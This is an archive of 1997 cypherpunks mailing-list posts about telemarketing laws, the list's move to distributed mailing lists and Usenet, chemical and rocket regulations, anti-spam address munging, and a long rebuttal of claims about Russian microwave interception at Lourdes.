> to thousands of sites? (At the same time? Sequentially? How?)
> 
> -- Is it a robo-dialer, with no human at the other end?
> 
> -- Or is it merely an "unwanted phone call"?

I used "spam" to mean scripted commercial solicitations, by a human
or robot, based on a list of names and numbers.  I'm not sure whether
this is the same definition as in the legislation. 

> As I see it, the danger of criminalizing "unwanted phone calls" is obvious.
> (Though obviously the courts and prisons are not about to be filled up with
> people who committed the heinous crime of making an unrequested phone call.)
> 
> The danger of all "junk mail" and "junk phone call" laws is that they give
> power to the government to decide on what is junk and what is not.

My understanding is that the legislation restricts commercial 
solicitations by phone to:

- certain times of day (not after 9 PM? unsure)
- one initial call, and no follow-ups if the person explicitly asks
the caller to never phone this number again (again, unsure of legal
details)

I don't consider this scenario overly restrictive, since it gives
_them_ a chance to sell their product, and _me_ a chance to have them
delete my name from their database.  Unfortunately, without some
formal means of redress, very few telemarketers seem to remember that
they are unlikely to find new customers if they call at 7 AM Saturday
for the third time this month.

What means of redress would you suggest, in the absence of
legislation / fines, to someone who has been called repeatedly by a
telemarketer?  This person is not a current customer and so cannot
withdraw his/her business.

Cynthia
===============================================================
                   Cynthia H. Brown, P.Eng.
E-mail: cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Peter Gutmann <pgut001@cs.auckland.ac.nz>
Date: Sat, 15 Feb 1997 22:58:04 -0800 (PST)
To: cypherpunks@toad.com
Subject: Crypto code published in magazines
Message-ID: <199702160658.WAA27706@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


I'm trying to find instances of crypto code published in computer magazines in 
the last few years.  I know of Blowfish in DDJ, are there cases of more 
mainstream computer mags like Byte publishing crypto code (I know Byte did DES 
in 1977, I'm hoping for something a bit more recent)?.  Please mail or cc 
replies directly to me, nntp.hks.net seems to have died :-(.
 
Peter.
 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Sun, 16 Feb 1997 18:11:15 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: When and where?
Message-ID: <199702170211.SAA12998@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Friends:

Please post the date when this list will shift to Usenet if that is indeed to
happen. I have not been able to sort out the facts (?) from the speculation,
argument, and gas.

I have requested my ISP to add alt.cypherpunks to the mail server asap.

I don't want to miss a second of the resurrected (or is that born again?)
c'punks.

Thanks.

Alec
 
-----BEGIN PGP SIGNATURE-----
Version: 4.5

iQCVAgUBMwextiKJGkNBIH7lAQEF2gP+LiPlzbHaFKg6lpJZoKSf2RLiMfQAlOkf
7tDQB9M+gtyJLM/xN0GjmkbNQk6blVFyAHuCY4GW7MzoReHoca08FfZ7+tRyFniK
AoBwbnqPv8ZQN9MbfaEzt1gjKGMDXHaUM8CCOk0Pt3aPxnd+SsuNVUfZCF7Hg7QS
mE47juLt06M=
=aqD9
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Sun, 16 Feb 1997 18:11:09 -0800 (PST)
To: camcc@abraxis.com
Subject: Re: When and where?
Message-ID: <199702170211.SAA12987@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

camcc@abraxis.com (Alec) writes:
> Please post the date when this list will shift to Usenet if that is indeed to
> happen. I have not been able to sort out the facts (?) from the speculation,
> argument, and gas.
> 
> I have requested my ISP to add alt.cypherpunks to the mail server asap.

I hope you misspelled "news server." alt.cypherpunks (and subgroups)
is a newsgroup.

> I don't want to miss a second of the resurrected (or is that born again?)
> c'punks.

You should join one of the distributed mailing lists (choose the list
admin you like/trust the most). There is supposed to be a gateway
between the mailing list and the newsgroup, but it is not up yet.

Here's the overview:
cypherpunks@toad.com is going away. In its place is a distributed
forum. This forum is currently made up of a network of mailing lists,
which send all their messages to each other. In the future, the
newsgroup alt.cypherpunks will be added to this network (posts to the
newsgroup go to the mailing lists, mail to the lists goes to the
newsgroup). The mailing lists will be faster than the newsgroup, the
newsgroup will probably let you use better filtering tools. Your
choice.

HTH,
Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

(Cool, "newsgroup" is the first word in four consecutive lines. I did
not do this on purpose, even.)




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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Sun, 16 Feb 1997 21:41:12 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: The Science Generations, II
Message-ID: <199702170541.VAA21886@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Just a short update to our discussions regarding the 'dumbing down' of America.

Although Gilbert appears to have gone out of the business I did find a few
chemistry sets at my local hobby store.  They were certainly a far cry from
the bunsen burner and lab glassware I grew up with, they all appear to use
micro amounts of reagent in pipette tubes.  I doubt they will generate the
excitement we experienced.

BTW, regarding the difficulty in obtaining chemical reagents (unless you're
in a qualified educational program or professionally employed at a large
industrial company), I came across a relatively new company targeting the
amateur scientist, Chemical Resale of Santa Barbara
<http://www.sb.net/wirehead>.  It carries only a limited selection and
prices seem very high (undoubtedly due to his small volume).

Regarding amateur experiments with 'real' rockets, the Fed have passed a
plethora of laws effectively resticting what non-governmental bodies may
investigate.  See 14 CFR PART 101, 22 CFR Sec. 121.16 and 49 CFR Sec.
173.88. I guess I can't play with matches anymore.  Thank you Congress.

--Steve







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Sun, 16 Feb 1997 23:26:19 -0800 (PST)
To: Steve Schear <azur@netcom.com>
Subject: Re: The Science Generations, II
Message-ID: <199702170726.XAA26470@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 8:58 PM -0800 2/16/97, Steve Schear wrote:

>BTW, regarding the difficulty in obtaining chemical reagents (unless you're
>in a qualified educational program or professionally employed at a large
>industrial company), I came across a relatively new company targeting the
>amateur scientist, Chemical Resale of Santa Barbara
><http://www.sb.net/wirehead>.  It carries only a limited selection and
>prices seem very high (undoubtedly due to his small volume).

And as part of the "War on (Some) Drugs," many chemical purchases now
require licenses of various sorts. As a growing number of chemicals are
classified as "precursors" to a growing medicine cabinet full of
mind-altering or reality-enhancing recreational substances, this "chemical
escrow"  is a step in the direction of outlawing all cash commerce.

Some legal scholars are claiming that there is no provision in the
Constitution guaranteeing anonymity of purchases, and, indeed, a growing
number of purchases can no longer be anonymous--guns, explosives, chemicals
of various sorts, etc. How long before _all_ transactions must be recorded,
True Names revealed, etc.?

(I believe this interpretation is incorrect. I believe "due process" means
that a court order, or specific enabling legislation (as for guns) must be
produced. If Alice sells something to Bob, having the government as a third
party is, I think, a violation of the Fourth. However, the "power to
regulate commerce" could be the root password, as national security often
is.)

I'm thinking about these issues because I'm working on a position paper for
Michael Froomkin's session at CFP. (Froomkin is one of the legal scholars
aruing that transactions may have no constitutional expectation of privacy.)

>Regarding amateur experiments with 'real' rockets, the Fed have passed a
>plethora of laws effectively resticting what non-governmental bodies may
>investigate.  See 14 CFR PART 101, 22 CFR Sec. 121.16 and 49 CFR Sec.
>173.88. I guess I can't play with matches anymore.  Thank you Congress.

Nor can you play with knives, by the way. I read rec.knives, and the
explosion of laws about how and where knives may be carried, used, owned,
bought, etc., and what blade shapes are allowed, what lengths are felonies
to possess, etc., is truly mind-numbing. I concluded that I'm committing
misdemeanors in nearly all counties I enter in California, and felonies in
some. All for possessing and/or carrying what I bought legally just a few
years ago.

This is the morass of laws into which we have sunk.

I suspect similar laws--regulating commerce, protecting children, disarming
bad guys, etc.--will be used soon enough on crypto.

--Tim May

Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mark Grant <mark@unicorn.com>
Date: Tue, 18 Feb 1997 17:11:32 -0800 (PST)
To: hjk <hjk@ddorf.rhein-ruhr.de>
Subject: Re: MagicMoney
Message-ID: <199702190111.RAA14461@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


On Sun, 16 Feb 1997, hjk wrote:

> I finally got a copy of MagicMoney (from ftp://utopia.hacktic.nl).
> It is just the code (compiling without error), but there is no README or
> documentation at all.Can someone give me a hint,what to do with this
> package? Is there a documentation somesite?

All the documentation that came with my copy is at 

	http://www.unicorn.com/pgp/mm-readme.html

That was enough for me to set it up and play with it a couple of years 
ago.

	Mark "Not Pr0duct Cypher" Grant

|-----------------------------------------------------------------------|
|Mark Grant M.A., U.L.C.	  	       EMAIL: mark@unicorn.com  |
|WWW: http://www.unicorn.com/	  	       MAILBOT: bot@unicorn.com	|
|-----------------------------------------------------------------------|






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Cynthia H. Brown" <cynthb@sonetis.com>
Date: Sun, 16 Feb 1997 21:27:59 -0800 (PST)
To: Alec <camcc@abraxis.com>
Subject: Re: Cypherpunks afraid of spam?
Message-ID: <199702170527.VAA21254@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

On Sun, 16 Feb 1997, camcc@abraxis.com (Alec) wrote:

> :> I put a spam-busted address in my .sig and give root@127.0.0.1 as my email
> :> in the from: header. Sure, somebody out there is going to be unhappy with
> :> me, but if they have a clue they'll figure it out. Meantime, the SpamBots
> :> are bouncing mail to the admin of the site instead of to me.
> :
> For the less computer articulate (me), please rephrase what you just
> said more in the form of basic instructions.

For starters, root is the all-powerful system administrator account on
UNIX machines, and 127.0.0.1 is the "loopback" or "localhost" IP address,
generally used for testing.  A connection to loopback amounts to a
software connection back to the originating host, and e-mail sent to
loopback won't even go out the Ethernet card / modem / whatever.

So, if I put root@127.0.0.1 in the "From:" field of my news reader's
configuration, all of my posts will give this as my e-mail address. 
Depending on the news reader, I may have to set options like "override
default domain name", which would override my service provider's name.

Since many commercial mailer programs ("SpamBots") scan Usenet news posts
for potential target e-mail addresses, these programs will pick up my
phony e-mail address and send their junk to their own system administrator
instead of me :-)

The smarter programs will also scan the bottom of posts for e-mail
addresses in people's signatures (or .sig files).  The "spam-busted"
address described above could be anything that is not a verbatim copy of
my e-mail address, for example:

c.y.n.t.h.b@i.o.s.p.h.e.r.e.dot.n.e.t
cynthb[at]iosphere.net
cynthb@[NOSPAM].iosphere.net

Any reasonably computer-literate human will be able to figure out what my
real address is, but a cut-and-paste by a software robot won't work.

Hope this helps,

Cynthia

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===============================================================
                   Cynthia H. Brown, P.Eng.
E-mail: cynthb@iosphere.net  | PGP Key:  See Home Page
Home Page:  http://www.iosphere.net/~cynthb/
Junk mail will be ignored in the order in which it is received.

        Klein bottle for rent; enquire within.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Sun, 16 Feb 1997 21:41:25 -0800 (PST)
To: peanderson@wn.net
Subject: Russian Sigint
Message-ID: <199702170541.VAA21894@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


> 
> I found this on The New American web page. ?
> 
> 
> GRU Snooping Continues. The interception, taping, and publication of a
> conference call between Newt Gingrich and other congressional leaders
> demonstrates the susceptibility of microwave-transmitted electronic
> communications to eavesdropping. A growing number of intracity phone calls,
> e-mail, and faxes, as well as nearly all long-distance calls, are carried via
> microwave. But it's not just itinerant Democratic Party activists with police
> scanners who can listen in on microwave communications.
> 
	This is complete horse pucky.   Microwave is less and less and
less used for long distance communications in the US.  Very little
traffic now flows over microwave links - fiber has so much higher
capacity and better data error characteristics that it has nearly
completely taken over long distance telephone and data communications. 
A typical microwave link can carry 45 or maybe 130 megabits per second
maximum per rf channel and maybe has 6 rf channels in use at a time
maximum whilst current fibers carry 1.5 Gigibits per fiber and can be
upgraded to 3.0 Gigabits easily and way more than 10 Gbs with current
WDM technology. Typical installed fiber routes have around 30 or more
fibers just because it is as easy to install that many as one.  

	The remaining active microwave links are primarily used as
backup for fiber routes and may not be carrying live traffic at all. 
Virtually every route that used to be microwave has now had one or more
fiber routes installed to replace it and if it hasn't they are planned
or being installed now.  At the best there are a few remote places where
installing fiber is impractical that still communicate with the world on
microwave links and there are a few microwave systems still in service
to carry certain vital national survival and security traffic where they
provide redundancy.

	Also, essentially all current common carrier microwave is now
digital rather than fm-fdm-ssb.  These high capacity and bit rate 64-QAM
or 256-QAM signals are significantly harder to intercept and demodulate
and demultiplex than the FM signals used until the late 80's were.  This
is especially true of reception from sites that see only marginal
scattered signals rather than the direct beam, as digital radio tends to
not work at all with marginal signals rather than being just noisy.

	I think that probably less than 1% of US long distance public
telephone and data communications currently travel by microwave at any
point in their journey compared to more than 68% at the peak  of
microwave usage in the early 1980's.  And this figure is dropping
steadily over time as more and more fiber is put in service.

> As the Center for Security Policy (CSP) points out, the GRU _ the Main
> Intelligence Directorate of the General Staff of the Russian Armed Forces _
> maintains signals intelligence ("sigint") facilities in Lourdes, Cuba, and
> Cam Ranh
> Bay in Vietnam which are capable of intercepting nearly all microwaved
> communication across the continental United States as well as the Atlantic and
> Pacific.

	This is not entirely true.  Intercepting microwave signals from
over the horizon is not possible except under truly extraordinary
propagation conditions and then only for brief periods of time with
gigantic antennas and from relatively nearby places.  And the  resultant
scattered signal is of very poor quality and getting usable high bit
rate data out of such scatter signals,  as would be required to
intercept common carrier traffic, is not easily possible.

	At the very best the Lourdes facility might possibly be able to
see occasional microwave scatter traffic from southern Florida and the
Carribean on very good days.  This is hardly traffic from the entire
continental US and one can be very sure that the NSA and other agencies
responsible for thinking about US communications security have long ago
arranged in cooperation with the long distance carriers to ensure that
nothing of any great use was showing up.

	There are two catagories of microwave traffic those facilities
can intercept - domestic and international satellite traffic from US
satellites with footprints that cover the Carribean and whatever radio
traffic is intercepted by Russian low orbit ferret satellites as they
pass over North America and by high orbit monitoring satellites parked
over the western hemisphere.

	Very little public point to point telephone and data traffic
between points in the US is currently transmitted via satellite.  Fiber
is so much cheaper and better in quality that the carriers gave up
satellite transmission of domestic traffic some years ago.  There are
some compelling reasons for this - the long 240 ms delay in transmitting
traffic via geosynchronous satellite is very noticable to many humans in
the give and take of conversations, and without special protocol
provisions many data communications systems give horrible throughput
over links with that long a delay as well as giving unnacceptably long
echo delays in interactive applications.  And satellite bandwidths are
even less than terrestrial microwave bandwidths and compared to the vast
amount of fiber now in service are just a tiny fraction of the total.

	Domestic communications satellites are primarily used for point
to multipoint traffic such as credit card authorization systems for gas
stations and stores and distribution of video to TV stations and cable 
companies, and broadcasts of data to large numbers of receivers.  It is
rarely cheaper and more cost effective to put point to point traffic on
communications satellites.  And most of what is there is traffic sent by
private users of one sort or another such as large companies and
government agencies - much of which is securely encrypted if sensitive.
And that which is not encrypted is readily accessible to anyone with the
right commonly available equipment and a vanilla satellite dish of the
sort there are literally millions and millions of scattered throughout
the US, Canada and Mexico - the potential threat from this source dwarfs
what the Russians might do with the information (and is readily
controlled by link encryption).

	Even international communications from the US are less and less
routed via satellite as high capacity fiber trans-ocean cables are
installed.  I have seen numbers on the order of less than 10% satellite
transmission of international traffic and as new optical amplifier
cables are installed (which one can assume the UKUSA partners such as
the US NSA get the entire bitstream from) this number is also plunging.
And most international satellite communications can be monitored from
the other end and do not have to be monitored from near the US.

	As a point of fact I would be more concerned that Russian
submarines have tapped the trans-Atlantic and trans-Pacific cables
somewhere than that the Russians pick up satellite communications. One
hopes that the bitstreams on those cables are really securely link
encrypted - doing so would seem to be a no-brainer - but I have never
seen any reference to this being the practice.

	What capabilities Russian sigint satellites still have in the
post USSR era of economic collapse where Russia has not been able to
launch a single imaging spy satellite for several months and has no
usable ones in orbit, according to a recent NY Times story, is not
clear.  Russian satellites have generally had a much shorter useful life
in orbit than US satellites do and Russia and the Russian space program
has been pretty poor and disorganized for the last several years.  At
best such sigint satellites could conceivably be used  to monitor some
few domestic microwave links that happened to put a usable signal in the
direction of the satellite and were far enough away from other
transmitters on the same frequency to be separated by antenna
directivity enough to stand out.   While a satellite in geosynchronous
orbit could see all of North America, it is pretty certain that it could
see only a rather small fraction of modern digital microwave links well
enough to recover traffic from them.  And it is absolutely certain that
the capacity of the satellite to intercept and relay traffic is only a
few microwave links simultaneously at most.  This is hardly everything
or more than a small piece in fact.

	It has been reported that Russian sigint satellites use laser
optical links back to Lourdes rather than the Ka and higher frequency
band microwave links that US equivalents have used to pass the signals
they intercept, but one suspects that the relevant US agencies have
probably used whatever means were necessary to find these links and
determine what US traffic is being monitored and ensure that that
anything truly important was routed by fiber instead.

	In any case, the value of Lourdes is primarily as a base for
intercepting US satellite communications and as a conveniant place to
put a ground station for sigint and ferret satellites where  satellite
to satellite relay is not required to get the signals back to a ground
station.  If Lourdes were shut down most of the sigint functions of these
satellites could be operated from Russia using satellite to satellite
communications of one sort or another. The only major loss would be the
ability to intercept certain domestic communications satellite signals
which use focused beams and not readily intercepted from other places
where the Russians may have space to put antennas.  And one suspects
that the Russians could probably do most of this interception from
covert sites under cover as legitimate satellite installations in the US
and Canada or other Caribbean or Central American countries.

	In any case it is certainly not true that Lourdes can intercept
a significant fraction of US telecommunications simply because most US
telecommunications do not any longer travel via microwave radio. 
Lourdes undoubtably can intercept enough useful stuff to justify
continuing its operation, but this is partly because of blind US
government policy on encryption rather than anything else.  This
especially applies to cellular communications which can be intercepted
from satellites (and of course by anyone with a scanner or modified
cellphone as well).  How well even satellites with large 100 or 200 foot
dishes do at intercepting the dense network of US and other cellular
systems with hundreds of transmitters going at once on the same
frequency in the area of the footprint of the satellite receive antenna
at 800 mhz I do not know.  And tracking and identifying calls of
interest when the satellite can intercept only some cells on some
cellsites reliably must be fairly hard. 

	In any event the US operates several sigint satellites of much
more advanced design and capability than Russia and has for many more
years than the Russians have.   And it is widely reported that the US
has worldwide ground monitoring stations listening to essentially all
communications satellites in the Clarke orbit and probably any that
aren't that could possibly carry useful traffic.  Our capabilities and
technology and expenditure in this area is well beyond anyone elses. 
	
 Furthermore, according to the CSP, "it is believed that both the
> Russians
> and the Cubans are developing capabilities at Lourdes to conduct information
> warfare (IW). Such a capability would permit these facilities to be employed not
> only to intercept information [but also to] make it possible for Moscow or
> Havana
> to manipulate telecommunicated information so as to deny the American people
> and their government vital services or otherwise work against U.S. interests."
> 

	There may be some capability to jam US commercial communications
satellites which for the most part have not any kind of protection
against such jamming.  Vital US military communications satellites do.
Successfully conducting man-in-the-middle attacks on terrestrial
microwave communications from Clarke orbit is difficult at the very very
best and probably essentially impossible simply because of the 240 ms
delay involved and the enormous difficulty of sucessfully interjecting
the right kind of signal into a microwave link that uses highly
directional antennas and modulation techniques that are amplitude
sensitive such as QAM.   And one can certainly assume that the US is
carefully watching Russian sigint satellites at all times and would
certainly know immediately if they started radiating enough signal to
disrupt or spoof US communications systems.

	Of course all sigint yields information such as passwords and
encryption keys and spectral signatures of speakers and call addressing
and routing information (traffic analysis) that can be used to good
advantage in later active man-in-the-middle attacks.  And one can
certainly assume that the Russians and many other governments including
the US have spent considerable effort developing active penetration and
disruption capablity.  It has even been reported that the US has been
using this to force network traffic to be routed in Europe via 
facilities the US can monitor.


> According to former GRU Colonel Stanislav Lunev, "The strategic significance of
> the Lourdes facility has grown dramatically since the secret order from Russian
> Federation President [Boris Yeltsin] of 7 February 1996 demanding that the
> Russian intelligence community step up the theft of American and other Western
> economic and trade secrets. It currently represents a very formidable and
> ominous
> threat to U.S. national security as well as the American economy and
> infrastructure."
> 
> Yet the Clinton Administration insists that it is in America's interest to
> allow the
> GRU to continue its eavesdropping on the U.S. In congressional testimony
> delivered on March 16, 1995, Assistant Secretary of State for Inter-American
> Affairs Alexander Watson asserted that pressuring Russia to discontinue sigint
> activities in Cuba "could limit our ability to promote reform and stability
> in Russia"
> as it could "be seen by the Russians as interfering with the exercise of
> their right
> under the START Treaty to monitor compliance with the agreement...."
> 


	And of course if we pressure them and other governments to
abandon sigint operations they can and will start to do the same to us. 
And ours are greater in magnitude and productivity than theirs.


> As with so many other issues, the Clintonites and the Soviets are reading
> from the
> same page regarding the Cuban sigint facility. Izvestia reported last
> November 30th
> that the U.S. "does not object in principle to the continuing existence of the
> electronic center in Cuba...."i
> 

	One can make the argument that sigint for national security
purposes is stabilizing and not altogether a bad thing.  Many of us who
are at least dimly aware of the technology fear its potential in the
hands of a future fascist police state greatly, but one suspects that
the Russians do not use the information effectively to damage US
interests.  After all we are the top economic and  military power in the
world and they are nearly in third world status economicly and have a
rapidly deteriorating military.  Perhaps the greatest risk from their
Soviet era sigint capabilities is that information will leak from
starved intelligence agency employees  and officials to the Russian
criminal mafias and benefit organized crime. There is certainly
potential there for mischief, especially considering that a good amount
of criminally useful information flows unencrypted over radio
communications in the US.

	If I was in the US government and thinking about the threat of
the Russian sigint capability I would be pushing for more use of
encryption in domestic commercial communications and especially such
things as cellphones and wireless data systems.  Universal link
encryption with secure ciphers of such radio based communications
systems  should not impact lawful interception of communications one
iota since the  government can always request wiretaps using their
spiffy new digital telephony tapping capablity.  The carriers would
always have access to the unencrypted traffic after all and could
forward it to the government. And many of us think that end-to-end
encryption of traffic is a better choice in the long run than no
encryption, even if it locks out the government (and everyone else) from
easily, and in large quantities, fishing through traffic.  One supposes
that the government will always be able to obtain most traffic it wants
badly enough, through cryptanalysis, TEMPEST, rubber hose cryptanalysis,
black bag jobs, bugging, and the perfidy of informants of one sort or
another, and of course most of all - carelessness and ignorance about
INFOSEC and bugs and configuration problems in software.

	But I would also be mindful that the Russians have decreasing
intelligence capability to monitor US intentions and perhaps allowing
them some access will keep them from developing paraniod fears of US
intentions.  The Russians probably still have a few working ICBMs after
all...

	In any case enough of these speculations.  Perhaps a
semi-retired telecommunications/computer engineer such as myself with
access only to public information gets the picture completely wrong. 
And perhaps not. I do know it is definately and without a doubt not true
that more and more domestic communications flow over microwave point to
point radio, however.  And I think that anyone propagating that myth
deserves a correction.

							Dave Emery
							die@die.com
							Weston, Mass.

						







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dave Emery <die@pig.die.com>
Date: Sun, 16 Feb 1997 21:41:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Modified Clipper chip - HA! (fwd)
Message-ID: <199702170541.VAA21887@toad.com>
MIME-Version: 1.0
Content-Type: text/plain




>For all of you who didn't see the last X-Files ...
>Mulder made a visit to The Lone Gunman about breaking into some
>impenetrable system.
>Byers points out that "Yeah, that system is pretty hard to get into."
>Mulder then inquires "well how did you guys get in?".
>Byers replies cooly: "We used a modified Clipper chip we bought back from
>the Chinese."
>I didn't stop laughing for 5 minutes ... :)
>_________ o s b o r n e @ g a t e w a y . g r u m m a n . c o m _________


I don't know whether this guy knows it or not but mainland China buys huge
quanities of DoD surplus scrap electronics. The material is required to be
mutilated but stuff slips through. I have seen it myself. The little bit on
X-files noted above is not as far fetched as one might believe.

..Jim

<:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:>
<:>       Jim Conrad - Ocean View Communications - jjc@infi.net      <:>
<:>  757-490-8127 Office  -  757-587-8251 Fax - 757-473-6740 Pager   <:>
<:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:><:>






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Sun, 16 Feb 1997 23:26:14 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: The Science Generations, II
Message-ID: <199702170726.XAA26462@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From: azur@netcom.com (Steve Schear)

>Regarding amateur experiments with 'real' rockets, the Fed have passed a
>plethora of laws effectively resticting what non-governmental bodies may
>investigate.  See 14 CFR PART 101, 22 CFR Sec. 121.16 and 49 CFR Sec.
>173.88. I guess I can't play with matches anymore.  Thank you Congress.

	What precisely do those laws say? As a scientist, I have somewhat
of an interest in such subjects, and I don't have very good access to
legal databases. (For instance, I tried the Library of Congress search
system for laws passed since 1973... and the thing's indexed by _title_
of legislation, not the more standard designation you gave...).
	Thanks,
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Campbell <wcampbel@peganet.com>
Date: Mon, 17 Feb 1997 08:56:13 -0800 (PST)
To: cypherpunks@toad.com
Subject: Anyone have the complete info on CP list alternatives?
Message-ID: <199702171656.IAA09288@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Everyone and his/her cousin has jumped into the void
created when John Gilmore decided to pull the plug
on toad.com.

However, I'm very confused on just what to do at this
point, my news server doesn't see alt.cypherpunks
yet and if it did would probably lose about 75% of
the posts if past performance is to be any indicator.
(Or more accurately, would never get them, we seem
to be a bottom feeder here in South Florida as far
as the newsgroups go.)

Has anyone composed a concise summary of just
what the options are? Time is running out, I guess.

Thanks in advance.

=Bill=





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Sun, 16 Feb 1997 21:26:22 -0800 (PST)
To: cynthb@sonetis.com
Subject: Re: Cypherpunks afraid of spam?
Message-ID: <199702170526.VAA21185@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


   From: "Cynthia H. Brown" <cynthb@sonetis.com>
   Date: Sun, 16 Feb 1997 23:02:02 -0500

   So, if I put root@127.0.0.1 in the "From:" field of my news reader's
   configuration, all of my posts will give this as my e-mail address. 

More likely to be delivered is root@[127.0.0.1] or
root@localhost.nceye.net or similar.  The thing to the right has to be
a name or a numeric address *in brackets*.  Yes, this doesn't seem to
make terribly much sense.  Another approach if you can do it is to get
an alias that looks like a message-ID.  All my outgoing usenet posts
lately have said
From: Bryan Reece <23je8s$ksd@taz.nceye.net> 
at the top, and no spam has come to that address.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Sun, 16 Feb 1997 21:26:17 -0800 (PST)
To: jer+@andrew.cmu.edu
Subject: Re: When and where?
Message-ID: <199702170526.VAA21172@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


   Delivered-To: reece@taz.nceye.net
   Date: Sun, 16 Feb 1997 20:57:51 -0500 (EST)
   From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
   Sender: owner-cypherpunks@toad.com
   Precedence: bulk

   -----BEGIN PGP SIGNED MESSAGE-----

   camcc@abraxis.com (Alec) writes:
   > Please post the date when this list will shift to Usenet if that is indeed to
   > happen. I have not been able to sort out the facts (?) from the speculation,
   > argument, and gas.
   > 
   > I have requested my ISP to add alt.cypherpunks to the mail server asap.

   I hope you misspelled "news server." alt.cypherpunks (and subgroups)
   is a newsgroup.

   > I don't want to miss a second of the resurrected (or is that born again?)
   > c'punks.

   You should join one of the distributed mailing lists (choose the list
   admin you like/trust the most). There is supposed to be a gateway
   between the mailing list and the newsgroup, but it is not up yet.

   Here's the overview:
   cypherpunks@toad.com is going away. In its place is a distributed
   forum. This forum is currently made up of a network of mailing lists,
   which send all their messages to each other. In the future, the
   newsgroup alt.cypherpunks will be added to this network (posts to the
   newsgroup go to the mailing lists, mail to the lists goes to the
   newsgroup). The mailing lists will be faster than the newsgroup, the
   newsgroup will probably let you use better filtering tools. Your
   choice.

   HTH,
   Jer

   "standing on top of the world/ never knew how you never could/ never knew
    why you never could live/ innocent life that everyone did" -Wormhole

   (Cool, "newsgroup" is the first word in four consecutive lines. I did
   not do this on purpose, even.)




   -----BEGIN PGP SIGNATURE-----
   Version: 2.6.2

   iQB1AwUBMwe7G8kz/YzIV3P5AQE/lwMAl9FsFoIKk8KF87nDUfczmO3dxo4bDANe
   bxaF9/daqiyR+Ck8vuTZw7YNc0DrsmEDY+Mr0WMuUrcybngagIxsQyuo56jETdLC
   T93ixsHuO7jhW4075ipfH/5MWMkI1zKz
   =G83r
   -----END PGP SIGNATURE-----




-- 






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Sun, 16 Feb 1997 21:41:05 -0800 (PST)
To: jer+@andrew.cmu.edu
Subject: Re: When and where?
Message-ID: <199702170541.VAA21869@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


   Date: Sun, 16 Feb 1997 20:57:51 -0500 (EST)
   From: Jeremiah A Blatz <jer+@andrew.cmu.edu>

   Here's the overview:
   cypherpunks@toad.com is going away. In its place is a distributed
   forum. This forum is currently made up of a network of mailing lists,
   which send all their messages to each other. In the future, the
   newsgroup alt.cypherpunks will be added to this network (posts to the
   newsgroup go to the mailing lists, mail to the lists goes to the
   newsgroup). The mailing lists will be faster than the newsgroup, the
   newsgroup will probably let you use better filtering tools. Your
   choice.

There is currently a newsgroup cypherpunks.list on taz.nceye.net
world-accessible.  It receives cypherpunks@algebra.com, but posts
there aren't sent back to the list yet.  Anyone who wants an NNTP feed
of it can have one.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 17 Feb 1997 09:11:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199702171711.JAA09607@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

